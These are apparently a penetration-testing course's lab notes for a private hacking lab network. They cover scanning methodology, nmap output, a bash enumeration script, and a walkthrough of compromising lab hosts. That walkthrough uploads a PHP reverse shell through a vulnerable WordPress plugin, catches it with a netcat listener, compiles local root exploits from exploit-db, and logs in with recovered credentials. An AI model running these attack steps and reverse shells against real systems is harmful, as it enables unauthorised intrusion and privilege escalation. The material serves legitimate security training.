Chris & Robert lab time

The purpose of this class is to help students learn how to address the common issues in Hacking Challenge Lab courses.


Issue 1. Lack of a thorough attack process
==========================================
	- Host discovery
	- Service discovery
	- Service version discovery
	- Vulnerability research
	- Linux (port 111)/Window (port 445) Enumeration
	- Webserver vulnerability scan
	- Directory brute force every webserver
	- Analyze source code of every web app (look for IPs, usernames/passwords, explanations of how stuff works)
	- Brute force all services


Issue 2. Lack of automation of the process
==========================================
	- Research attacks scripts on the internet to enhance your methodology


Issue 3. Failing to document all steps being performed and their output
=======================================================================


Issue 4. Lack of sleep during the exam
======================================


Issue 5. Failing to reboot target machines prior to attack
==========================================================



--------------------------------------------------------------------------------------------------------------


A good strategy to use to prepare would be:

Step 1. Ensure that you are comfortable with Linux
--------------------------------------------------
- LinuxSurvival.com (you should be able to comfortably pass all 4 quizzes)
- Comptia Linux+ (You should be just a hair under a Linux system administrator in skill level, simple shell scripting, and well beyond a Linux user skill level)

You should be very comfortable with the material covered in the videos below (Go through all of them twice if you are new to Linux):
https://www.youtube.com/playlist?list=PLCDA423AB5CEC8FDB
https://www.youtube.com/playlist?list=PLtK75qxsQaMLZSo7KL-PmiRarU7hrpnwK
https://www.youtube.com/playlist?list=PLcUid3OP_4OXOUqYTDGjq-iEwtBf-3l2E



2. You should be comfortable with the following tools:
------------------------------------------------------

Nmap:
https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBsINfLVidNVaZ-7_v1NJIo

Metasploit:
https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBmwvjJoWhM4Lg5MceSbsja

Burp Suite:
https://www.youtube.com/playlist?list=PLv95pq8fEyuivHeZB2jeC435tU3_1YGzV

Sqlmap:
https://www.youtube.com/playlist?list=PLA3E1E7A07FD60C75

Nikto:
https://www.youtube.com/watch?v=GH9qn_DBzCk

Enum4Linux:
https://www.youtube.com/watch?v=hA5raaGOQKQ

RPCINFO/SHOWMOUNT:
https://www.youtube.com/watch?v=FlRAA-1UXWQ

Hydra:
https://www.youtube.com/watch?v=rLtj8tEmGso



3. You need to comfortable with basic exploit development
---------------------------------------------------------

Basic assembly:
https://www.youtube.com/playlist?list=PLue5IPmkmZ-P1pDbF3vSQtuNquX0SZHpB

Basic exploit development (first 5 videos in the playlist):
https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl


4. You need to be comfortable with privilege escalation
-------------------------------------------------------
Linux
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Windows
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
http://www.fuzzysecurity.com/tutorials/16.html




                            #################################
----------- ############### # Day 1: Advanced Scanning Labs # ############### -----------
                            #################################


########################
# Scanning Methodology #
########################

- Ping Sweep
What's alive?
------------

---------------------------Type This-----------------------------------
sudo nmap -sP 157.166.226.*

-----------------------------------------------------------------------



    -if -SP yields no results try:
---------------------------Type This-----------------------------------
sudo nmap -sL 157.166.226.*

-----------------------------------------------------------------------



    -Look for hostnames:
---------------------------Type This-----------------------------------
sudo nmap -sL 157.166.226.* | grep com

-----------------------------------------------------------------------



- Port Scan
What's where?
------------
---------------------------Type This-----------------------------------
sudo nmap -sS 162.243.126.247

-----------------------------------------------------------------------



- Bannergrab/Version Query
What versions of software are running
-------------------------------------

---------------------------Type This-----------------------------------
sudo nmap -sV 162.243.126.247

-----------------------------------------------------------------------




- Vulnerability Research
Lookup the banner versions for public exploits
----------------------------------------------
http://exploit-db.com
http://securityfocus.com/bid
https://packetstormsecurity.com/files/tags/exploit/





-----------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------
Some tools to install:
---------------------------Type This-----------------------------------
wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
gcc propecia.c -o propecia
sudo cp propecia /bin
-----------------------------------------------------------------------







- I prefer to use Putty to SSH into my Linux host.
- You can download Putty from here:
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Here is the information to put into putty


ip address:	149.28.201.171
username:	labpentest
password:	lab!network@attack!



##############################
# Scanning Process to follow #
##############################

Step 1: Host Discovery
----------------------

---------------------------Type This-----------------------------------
nmap -sP 172.31.2.0/24

nmap -sL 172.31.2.0/24

nmap -sS --open -p 22,445 172.31.2.0/24

propecia 172.31.2 22 > file1
propecia 172.31.2 445 > file2
cat file1 file2 > file3
cat file3 | sort -t . -k 3,3n -k 4,4n | uniq > lab.txt
cat lab.txt
-----------------------------------------------------------------------


Step 2: Port Scan
-----------------
nmap -sS <IP-ADDRESS>
nmap -sU -p 69,161 <IP-ADDRESS>


---------------------------Type This-----------------------------------
sudo nmap -sS 172.31.2.0/24
sudo nmap -sU -p 69,161 172.31.2.0/24
-----------------------------------------------------------------------


Step 3: Bannergrab
------------------
nmap -sV <IP-ADDRESS>
nmap -sV -p- <IP-ADDRESS>
    |
    ----> Vulnerability Research

---------------------------Type This-----------------------------------
sudo nmap -sV 172.31.2.0/24
-----------------------------------------------------------------------




Step 4: Enumerate common Windows/Linux file sharing services
Step 3 is where most people STOP, and you need to move on and look deeper
------------------------------------------------------------

---------------------------Type This-----------------------------------
sudo apt install smbclient libnss-winbind winbind ldapscript
wget https://raw.githubusercontent.com/Wh1t3Fox/polenum/master/polenum.py
chmod +x polenum.py
sudo cp polenum.py /bin/
git clone https://github.com/portcullislabs/enum4linux.git
cd enum4linux/
perl enum4linux.pl -U 172.31.2.11

nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.86
---------------------------------------------------------------------------------------



Step 5: Vulnerability Scan the webservers
-----------------------------------------
git clone https://github.com/sullo/nikto.git Nikto2

cd Nikto2/program

perl nikto.pl -h <IP-ADDRESS>



Step 6: Directory Bruteforce every webserver
--------------------------------------------
sudo apt install -y libcurl4-openssl-dev

git clone https://github.com/v0re/dirb.git

cd dirb/

./configure

make

./dirb

./dirb http://<IP-ADDRESS> wordlists/big.txt





Step 7: Analyze source code of all webpages found
-------------------------------------------------
lynx -dump "http://<IP-ADDRESS>" | grep -o "http:.*" > links

If you ever need to download an entire Web site, perhaps for off-line viewing, wget can do the job—for example:

$ wget \
     --recursive \
     --no-clobber \
     --page-requisites \
     --html-extension \
     --convert-links \
     --restrict-file-names=windows \
     --domains website.org \
     --no-parent \
         www.website.org/tutorials/html/


This command downloads the Web site www.website.org/tutorials/html/.

The options are:

--recursive: download the entire Web site.

--domains website.org: don't follow links outside website.org.

--no-parent: don't follow links outside the directory tutorials/html/.

--page-requisites: get all the elements that compose the page (images, CSS and so on).

--html-extension: save files with the .html extension.

--convert-links: convert links so that they work locally, off-line.

--restrict-file-names=windows: modify filenames so that they will work in Windows as well.

--no-clobber: don't overwrite any existing files (used in case the download is interrupted and resumed).



Step 8: Bruteforce any services you find
----------------------------------------
sudo apt install -y zlib1g-dev libssl-dev libidn11-dev libcurses-ocaml-dev libpcre3-dev libpq-dev libsvn-dev libssh-dev libmysqlclient-dev libpq-dev libsvn-devcd ~/toolz
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
hydra -l user -P passlist.txt ftp://<IP-ADDRESS



##################
# Host Discovery #
##################

Reason:
-------
You have to discover the reachable hosts in the network before you can attack them.


Hosts discovery syntax:
-----------------------
	nmap -sP 172.31.2.0/24
	propecia 172.31.2 22 > file1
	propecia 172.31.2 445 > file2
	cat file1 file2 > file3
	cat file3 | sort -t . -k 3,3n -k 4,4n | uniq > lab.txt
	cat lab.txt

Issues:
-------
Issue we had to deal with was hosts that didn't respond to ICMP


	Hosts discovered:
	-----------------
	172.31.2.11
	172.31.2.14
	172.31.2.47
	172.31.2.64
	172.31.2.86
	172.31.2.117
	172.31.2.157
	172.31.2.217
	172.31.2.238






#####################
# Service Discovery #
#####################

Reason:
-------
Identifying what services are running on what hosts allows for you to map the network topology.



Port Scan syntax:
	sudo nmap -sS -Pn -iL lab.txt
	sudo nmap -sU -p69,161 -Pn -iL lab.txt



Services discovered:
--------------------

joe@metasploit-box:~$ sudo nmap -sS -Pn -iL lab.txt

Starting Nmap 7.60SVN ( https://nmap.org ) at 2018-05-05 14:52 UTC
Nmap scan report for 172.31.2.11
Host is up (0.087s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

Nmap scan report for 172.31.2.11
Host is up.

PORT    STATE         SERVICE
69/udp  open|filtered tftp
161/udp open|filtered snmp


Nmap scan report for 172.31.2.14
Host is up (0.087s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
9999/tcp open  abyss


Nmap scan report for 172.31.2.14
Host is up.

PORT    STATE         SERVICE
69/udp  open|filtered tftp
161/udp open|filtered snmp


Nmap scan report for 172.31.2.47
Host is up (0.086s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.31.2.64
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6667/tcp open  irc

Nmap scan report for 172.31.2.86
Host is up (0.086s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
143/tcp  open  imap
445/tcp  open  microsoft-ds
993/tcp  open  imaps
995/tcp  open  pop3s
8080/tcp open  http-proxy

Nmap scan report for 172.31.2.117
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2020/tcp open  xinupageserver

Nmap scan report for 172.31.2.157
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.31.2.217
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3260/tcp open  iscsi

Nmap scan report for 172.31.2.238
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6969/tcp open  acmsoda

Nmap done: 9 IP addresses (9 hosts up) scanned in 14.82 seconds









##############################################
# Service Version Discovery (Bannergrabbing) #
##############################################
Reason:
-------
Identifying what versions of services are running on what hosts allows for you to determine if the hosts are vulnerable to attack.



Port Scan syntax:

joe@metasploit-box:~$ sudo nmap -sV -Pn -iL lab.txt

Starting Nmap 7.60SVN ( https://nmap.org ) at 2018-05-05 14:56 UTC
Nmap scan report for 172.31.2.11
Host is up (0.087s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FreeFloat ftpd 1.00
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 2003 or 2008 microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
9999/tcp open  abyss?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Nmap scan report for 172.31.2.14
Host is up (0.087s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FreeFloat ftpd 1.00
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 2003 or 2008 microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
9999/tcp open  abyss?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Nmap scan report for 172.31.2.47
Host is up (0.087s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.31.2.64
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.31.2.86
Host is up (0.087s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
110/tcp  open  pop3        Dovecot pop3d
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
995/tcp  open  ssl/pop3    Dovecot pop3d
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:campmoca;:ubuntu_linux

Nmap scan report for 172.31.2.117
Host is up (0.086s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
2020/tcp open  ftp     vsftpd 2.0.8 or later
Service Info: Host: minotaur; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.31.2.157
Host is up (0.086s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 6.6.1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Nmap scan report for 172.31.2.217
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx
3260/tcp open  iscsi?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.31.2.238
Host is up (0.087s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp   open  http     nginx 1.6.2
6969/tcp open  acmsoda?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 9 IP addresses (9 hosts up) scanned in 170.68 seconds







-----------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------

#!/bin/bash

# Script made during the CyberWar class for the students to play with, debug, and improve.
# Take a look at the following websites for ideas:
# https://github.com/commonexploits/port-scan-automation
# https://www.commonexploits.com/penetration-testing-scripts/
# https://github.com/averagesecurityguy/scripts
# https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py



# Some thoughts of things to add to this script:
# Shodan queries (API key)
# AWS scanning (need credentials)
# Jenkins scanning
# Active Directory enumeration
# Github scanning (API key required)
# Blockchain platforms







#############################################
# Check to see if script is running as root #
#############################################
if [ "$EUID" -ne 0 ]
  then echo "Please run as root"
  exit
fi


####################################
# Check to see if gcc is installed #
####################################
file1="/usr/bin/gcc"
if [ -f "$file1" ]
then
	echo "$file is installed."
    clear
else
	echo "$file not found."
	echo Installing gcc
    apt-get install -y gcc
	clear
fi

########################
# Make the directories #
########################
cd /tmp
rm -rf customerAudit/
rm -rf NetworkAudit/
mkdir -p /tmp/NetworkAudit/discovered_services/
mkdir -p /tmp/NetworkAudit/scan/windows/
mkdir -p /tmp/NetworkAudit/scan/sunrpc/
mkdir -p /tmp/NetworkAudit/scan/ssh/
mkdir -p /tmp/NetworkAudit/scan/ftp/
mkdir -p /tmp/NetworkAudit/scan/http/
mkdir -p /tmp/NetworkAudit/scan/telnet/
mkdir -p /tmp/NetworkAudit/scan/pop3/
mkdir -p /tmp/NetworkAudit/scan/printers/
mkdir -p /tmp/NetworkAudit/scan/mssql_databases/
mkdir -p /tmp/NetworkAudit/scan/oracle_databases/
mkdir -p /tmp/NetworkAudit/scan/mysql_databases/
mkdir -p /tmp/NetworkAudit/scan/mongodb_databases/


#####################
# Download propecia #
#####################
file2="/bin/propecia"
if [ -f "$file2" ]
then
	echo "$file is installed."
    clear
else
	echo "$file not found."
	echo Installing propecia
    cd /tmp
    wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
    gcc propecia.c -o propecia
    cp propecia /bin
fi

######################
# Find Windows Hosts #
######################
clear
echo "Scanning for windows hosts."
propecia 172.31.2 445 >> /tmp/NetworkAudit/discovered_services/windows_hosts
clear
echo "Done scanning for windows hosts. FTP is next."


##################
# Find FTP Hosts #
##################
echo "Scanning for hosts running FTP."
propecia 172.31.2 21 >> /tmp/NetworkAudit/discovered_services/ftp_hosts
clear
echo "Done scanning for FTP hosts. SSH is next."

##################
# Find SSH Hosts #
##################
echo "Scanning for hosts running SSH."
propecia 172.31.2 22 >> /tmp/NetworkAudit/discovered_services/ssh_hosts
clear
echo "Done scanning for SSH hosts. POP3 is next."


###################
# Find POP3 Hosts #
###################
echo "Scanning for hosts running POP3."
propecia 172.31.2 110 >> /tmp/NetworkAudit/discovered_services/pop3_hosts
clear
echo "Done scanning for POP3 hosts. SunRPC is next."


#####################
# Find SunRPC Hosts #
#####################
echo "Scanning for hosts running SunRPC."
propecia 172.31.2 111 >> /tmp/NetworkAudit/discovered_services/sunrpc_hosts
clear
echo "Done scanning for SunRPC hosts. Telnet is next."


#####################
# Find Telnet Hosts #
#####################
echo "Scanning for hosts running Telnet."
propecia 172.31.2 23 >> /tmp/NetworkAudit/discovered_services/telnet_hosts
clear
echo "Done scanning for Telnet hosts. HTTP is next."


###################
# Find HTTP Hosts #
###################
echo "Scanning for hosts running HTTP"
propecia 172.31.2 80 >> /tmp/NetworkAudit/discovered_services/http_hosts
clear
echo "Done scanning for HTTP hosts. HTTPS hosts are next."


###################
# Find HTTPS Hosts #
###################
echo "Scanning for hosts running HTTP"
propecia 172.31.2 443 >> /tmp/NetworkAudit/discovered_services/https_hosts
clear
echo "Done scanning for HTTPS hosts. Databases are next."


##################
# Find Databases #
##################
echo "Scanning for hosts running MS SQL Server"
propecia 172.31.2 1433 >> /tmp/NetworkAudit/discovered_services/mssql_hosts
clear

echo "Scanning for hosts running Oracle"
propecia 172.31.2 1521 >> /tmp/NetworkAudit/discovered_services/oracle_hosts
clear

echo "Scanning for hosts running Postgres"
propecia 172.31.2 5432 >> /tmp/NetworkAudit/discovered_services/postgres_hosts
clear

echo "Scanning for hosts running MongoDB"
propecia 172.31.2 27017 >> /tmp/NetworkAudit/discovered_services/mongodb_hosts
clear

echo "Scanning for hosts running MySQL"
propecia 172.31.2 3306 >> /tmp/NetworkAudit/discovered_services/mysql_hosts
clear
echo "Done doing the host discovery. Moving on to nmap'ing each host discovered. Windows hosts are first."


###############################
# Ok, let's do the NMAP files #
###############################
clear
# Windows
for x in `cat /tmp/NetworkAudit/discovered_services/windows_hosts` ; do nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect $x > /tmp/NetworkAudit/scan/windows/$x ; done
echo "Done with Windows."

clear
# FTP
for x in `cat /tmp/NetworkAudit/discovered_services/ftp_hosts` ; do nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor $x > /tmp/NetworkAudit/scan/ftp/$x ; done
echo "Done with FTP."

clear
# SSH
for x in `cat /tmp/NetworkAudit/discovered_services/ssh_hosts` ; do nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos $x > /tmp/NetworkAudit/scan/ssh/$x ; done
echo "Done with SSH."

clear
# SUNRPC
for x in `cat /tmp/NetworkAudit/discovered_services/sunrpc_hosts` ; do nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo $x > /tmp/NetworkAudit/scan/sunrpc/$x ; done
echo "Done with SunRPC."

clear
# POP3
for x in `cat /tmp/NetworkAudit/discovered_services/pop3_hosts` ; do nmap -Pn -n --open -p110 --script=banner,pop3-capabilities,pop3-ntlm-info,ssl*,tls-nextprotoneg  $x > /tmp/NetworkAudit/scan/pop3/$x ; done
echo "Done with POP3."

# clear
# HTTP Fix this...maybe use https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py
# as a good reference for what nmap nse scripts to run against port 80 and 443
# for x in `cat /tmp/NetworkAudit/discovered_services/http_hosts` ; do nmap -sV -O --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" $x > /tmp/NetworkAudit/scan/http/$x ; done
# echo "Done with HTTP."


# clear
# HTTP Fix this...maybe use https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py
# as a good reference for what nmap nse scripts to run against port 80 and 443
# for x in `cat /tmp/NetworkAudit/discovered_services/https_hosts` ; do nmap -sV -O --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" $x > /tmp/NetworkAudit/scan/http/$x ; done
# echo "Done with HTTP."


clear
# SQL Servers
for x in `cat /tmp/NetworkAudit/discovered_services/mssql_hosts` ; do -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info $x > /tmp/NetworkAudit/scan/mssql_databases/$x ; done
echo "Done with MS SQL."

clear
# Oracle Servers
# FIX THIS: needs brute force wordlists for this to run correctly
# for x in `cat /tmp/NetworkAudit/discovered_services/oracle_hosts` ; do nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt $x >> /tmp/NetworkAudit/scan/oracle_databases/$x ; done
# echo "Done with Oracle."

clear
# MongoDB
for x in `cat /tmp/NetworkAudit/discovered_services/mongodb_hosts` ; do nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info  $x > /tmp/NetworkAudit/scan/mongodb_databases/$x ; done
echo "Done with MongoDB."


clear
# MySQL Servers
for x in `cat /tmp/NetworkAudit/discovered_services/mysql_hosts` ; do nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables $x >> /tmp/NetworkAudit/scan/mysql_databases/$x ; done
echo "Done with MySQL."


# Add postgres nse scripts
# References:
# https://nmap.org/nsedoc/lib/pgsql.html
# https://nmap.org/nsedoc/scripts/pgsql-brute.html
#

echo " "
echo " "
sleep 1
clear
echo "Done, now check your results."
sleep 2
clear
cd /tmp/NetworkAudit/scan/
ls



----------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------

                            ######################################
----------- ############### # Day 2: Attacking Hosts in the lab  ################ -----------
                            ######################################

######################
# Attacking Minotaur #
######################

Step 1: Portscan/Bannergrab the target host
---------------------------Type This-----------------------------------
sudo nmap -sV 172.31.2.117
-----------------------------------------------------------------------



Step 2: Vulnerability scan the web server
---------------------------Type This-----------------------------------
nikto.pl -h 172.31.2.117
-----------------------------------------------------------------------



Step 3: Directory brute-force the webserver
---------------------------Type This-----------------------------------
dirb http://172.31.2.117 /usr/share/dirb/wordlists/big.txt
-----------------------------------------------------------------------

### dirb output ###
==> DIRECTORY: http://172.31.2.117/bull/
-----------------------------------------------------------------------


Step 4: Run wordpress vulnerability scanner
---------------------------Type This-----------------------------------
wpscan --url 172.31.2.117/bull/ -r --enumerate u --enumerate p --enumerate t --enumerate tt


cewl -w words.txt http://172.31.2.117/bull/


cewl http://172.31.2.117/bull/ -d 1 -m 6 -w whateverbro.txt

wc -l whateverbro.txt

john --wordlist=whateverbro.txt --rules --stdout > words-john.txt

wc -l words-john.txt

wpscan --username bully --url http://172.31.2.117/bull/ --wordlist words-john.txt --threads 10
-----------------------------------------------------------------------





Step 5: Attack vulnerable Wordpress plugin with Metasploit (just doing the exact same attack with MSF)
---------------------------Type This-----------------------------------
msfconsole

use exploit/unix/webapp/wp_slideshowgallery_upload

set RHOST 172.31.2.117

set RPORT 80

set TARGETURI /bull

set WP_USER bully

set WP_PASSWORD Bighornedbulls

exploit
-----------------------------------------------------------------------

Damn...that didn't work...Can't reverse shell from inside the network to a host in the VPN network range.
This is a lab limitation that I implemented to stop students from compromising hosts in the lab network
and then from the lab network attacking other students.


---------------------------Type This-----------------------------------
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

tar -zxvf php-reverse-shell-1.0.tar.gz

cd ~/toolz/php-reverse-shell-1.0/

nano php-reverse-shell.php
-----------------------------------------------------------------------
    ***** change the $ip and $port variables to a host that you have already compromised in the network
    ***** for this example I chose 172.31.2.64 and kept port 1234


---------------------------Type This-----------------------------------
chmod 777 php-reverse-shell.php
cp php-reverse-shell.php ..
-----------------------------------------------------------------------



Browse to this link https://www.exploit-db.com/raw/34681/ and copy all of the text from it.
Paste the contents of this link into a file called wp_gallery_slideshow_146_suv.py
--------------------------Type This-----------------------------------
python wp_gallery_slideshow_146_suv.py -t http://172.31.2.117/bull/ -u bully -p Bighornedbulls -f php-reverse-shell.php

-----------------------------------------------------------------------



Set up netcat listener on previously compromised host
---------------------------Type This-----------------------------------
ssh -l webmin 172.31.2.64
    webmin1980


nc -lvp 1234
-----------------------------------------------------------------------




---------------------Type This in your browser ------------------------
http://172.31.2.117/bull//wp-content/uploads/slideshow-gallery/php-reverse-shell.php
-----------------------------------------------------------------------


Now check your listener to see if you got the connection
---------------------------Type This-----------------------------------
id

/sbin/ifconfig

python -c 'import pty;pty.spawn("/bin/bash")'

---------------------------Type This-----------------------------------
cd /tmp
cat >> exploit2.c << out
-----------------------------------------------------------------------
**************paste in the content from here *****************
https://www.exploit-db.com/raw/37292/

**************hit enter a few times *****************

---------------------------Type This-----------------------------------
out


gcc -o boom2 exploit2.c

./boom2

id
-----------------------------------------------------------------------




---------------------------Type This-----------------------------------
sudo nmap -sV 172.31.2.181
-----------------------------------------------------------------------
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)


---------------------------Type This-----------------------------------
sudo nmap -sU -p69,161 172.31.2.181
-----------------------------------------------------------------------
PORT    STATE  SERVICE
69/udp  closed tftp
161/udp open   snmp


---------------------------Type This-----------------------------------
sudo apt-get -y install onesixtyone snmp

wget https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-misc/wordlist-common-snmp-community-strings.txt

onesixtyone -c wordlist-common-snmp-community-strings.txt 172.31.2.181
----------------------------------------------------------------------
Gives error "Community string too long". A little bit of google and I found this reference: https://github.com/trailofbits/onesixtyone/issues/1

---------------------------Type This-----------------------------------
cat wordlist-common-snmp-community-strings.txt | grep -v TENmanUFactOryPOWER > snmp-community-strings.txt

onesixtyone -c snmp-community-strings.txt 172.31.2.181

snmpwalk -Os -c public -v 1 172.31.2.181
---------------------------------------------------------------------

Username "eric" found in snmpwalk, and the string "There is a house in New Orleans they call it..."

Google the sentence, and I find out that the whole sentence is “There is a house in New Orleans they call it the rising sun”.

Try to SSH to the box using the credentials eric:therisingsun


---------------------------Type This-----------------------------------
ssh -l eric 172.31.2.181
     therisingsun

id
cat /etc/issue
uname -a
cat /etc/*release

---------------------------Type This-----------------------------------
cat >> exploit.c << out

**************paste in the content from here *****************
https://www.exploit-db.com/raw/39166/


------ hit enter a few times ------

------ then type 'out' ----- this closes the file handle...



---------------------------Type This-----------------------------------
gcc -o boom exploit.c

./boom

id


......YEAH - do the happy dance!!!!



How to go after 172.31.2.238
Reference: https://t0w3ntum.com/2017/01/07/baffle/


---------------------------------------------------------------
sudo nmap -sV -p 3260 172.31.2.217


sudo apt install open-iscsi

sudo iscsiadm -m discovery -t  st -p 172.31.2.217

sudo iscsiadm -m discovery -t  st -p 172.31.2.217:3260

sudo iscsiadm -m node -p 172.31.2.217 --login

sudo /bin/bash

fdisk -l
    ***** look for /dev/sda5 - Linux swap / Solaris *******

mkdir /mnt/217vm

mount /dev/sdb /mnt/217vm

cd /mnt/217vm

ls

cat flag1.txt

file bobsdisk.dsk

mkdir /media/bobsdisk

